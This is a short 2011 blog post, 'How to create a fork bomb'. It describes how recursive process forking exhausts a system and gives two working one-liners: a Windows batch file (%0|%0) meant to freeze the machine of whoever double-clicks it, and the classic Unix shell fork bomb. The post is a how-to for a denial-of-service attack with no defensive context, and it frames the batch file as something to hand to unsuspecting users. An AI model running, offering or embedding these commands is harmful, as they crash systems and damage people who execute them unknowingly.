Saturday 5 November 2011

How to create a "fork bomb"

A fork bomb generally creates two instances at start up, further each of created processes creates two instances and so on…The processes recursively fork; this “forks” the processor and jamm it completely until a crash occurs. It use forks to do system crash, so its called Fork Bomb.


See, How to create it:


1. Fork Bomb for windows:
Write the following code in notepad and save it with bat extension say fork.bat

    %0|%0

Once anyone will do double click on this bat file, his system will jamm.


2. Fork Bomb for linux/Unix:

    :(){ :|:& };:


No comments:

Post a Comment